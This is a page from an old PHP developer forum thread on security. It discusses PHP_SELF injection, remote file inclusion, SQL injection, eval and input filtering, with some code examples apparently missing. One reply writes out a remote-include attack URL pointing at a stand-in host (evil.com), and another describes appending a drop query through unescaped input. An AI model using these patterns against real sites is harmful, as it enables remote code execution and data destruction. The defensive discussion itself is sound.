Page 15 - [Everyone] Must read Security Notes

Simon brought up this article on how $PHP_SELF and $_SERVER['PHP_SELF'] are taken directly from user input and can be manipulated to contain malicious content.

I never thought of them as user input, so this was interesting to me.

---John Holmes...

Obviously building portable code, this can be an issue, but I tried the mentioned tests on my server (IIS), and it errors out, never processing the code. I guess it's really no big deal to CYA and use htmlentities or specialchars on the PHP_SELF output... is that the concensus(sp?)... there seems to be quite a bit of confusion with the user response at the bottom...

Thanks, seems like I will have to do a little fixing I guess.

If you're a PHP developer or an admin of a server actively running PHP, you should read this article:

http://www.sans.org/top20/#c3

SANS has identified several PHP-related threats as being #3 on their list of Top 10 cross-platform vulnerabilites, right after backup and anti-virus software (Microsoft has their own category).

Beyond what you as a developer and/or admin can do to mitigate these risks (like using the Hardened PHP distro), we as PHP developers/admins should be asking Zend what they're actively doing to reduce these risks.

My biggest issue with articles like this as there are no examples to test the issues with my own scripts. EG: I have, in the past, tried to do the remote file include I think by building a page that had a include($_GET['file']) kind of thing. I never could get it to work. Does that mean my server (which was a shared hosting service) is setup correctly against that kind of thing, or was I not attacking properly.

I have also tried to do MySql attacks (like adding a ; and then a drop database kind of thing) in an unvalidated input field, again with no effect

Does anyone have a toolkit with examples to attempt exploits?

Obviously hacker could use this, but I gotta think they already do.

Probably the latter. For instance, the include() attack is a pretty easy one to pull off. One limiting factor for a while (but not anymore) was that the windows version of PHP didn't support includ()ing URLs. You could still include other files on the computer though.

The include attack has quite a few examples out there (I've written some of em) but as a repeat it's a little something like this:





attack with: http://www.vulnerable.com/index.php?page=http://www.evil.com/script.txt



SQL Injection using mysql is another one that is a little bit harder to do as well. Main reason being that in PHP, you can't send multiple queries to mysql in one call to mysql_query. That restriction may eventually be lifted though, I couldn't tell you.

How ever, if say you were using a db wrapper, and then your script got moved to another database system such as MS-SQL where multiple-queries at one was a valid thing, then a person could exploit unescaped input to add a drop query to the end of your query, or some other equally bad statement.

Great, thanks. I think that the community really needs solid examples that we can say "this will test for this", that way if I try it and it does not work I can check something off my list (like my vaildation is working or globals are off or whatever).

put a file index.php to every directory of your project so that if someone tries to put url like http://www.somename.com/images/ to see the list of images, he will be unable to do so.

The same thing you can also do in the server settings and through .htaccess file if you don't want to put index.php to all the directories.

You could just mark all the folders "403 Forbidden" and setup 403 to redirect somewhere.

This thread took me awhile to read. I still have yet to figure out why so many people were fighting over the .inc files. It's just an extention. .inc.php works just as well, no .htaccess would be needed. It shows that it is a include file WITH PHP contents. Also like someone said above you can always just add:

mainfile.php


include.inc.php


The above example is based off of PHPBB.

To make sure an file is included and not being executed directly I use this line of code:


works like a charm!

Remember user input doesn't just mean normal GET and POST variables. One XMLRPC exploit I saw (PHPAds), exploited the use of eval while sorting through data from XML. With web services being so popular, be aware of this.

Eval is a major major hole. PHP is one of those languages where there is a function for everything if you look hard enough, you should NEVER need to use eval. There was a big hole in php's xml parsing itself a while back because the author used eval.

Thanks for the great information

If you're using PHP 5.2 or later, use the built-in Filter Functions to sanitize and validate user input. If you're stuck on an earlier version, try to include the extension through PECL.

Also note that the filter.default and filter.default_flags can be set in php.ini, .htaccess or within your script with ini_set().

---John Holmes...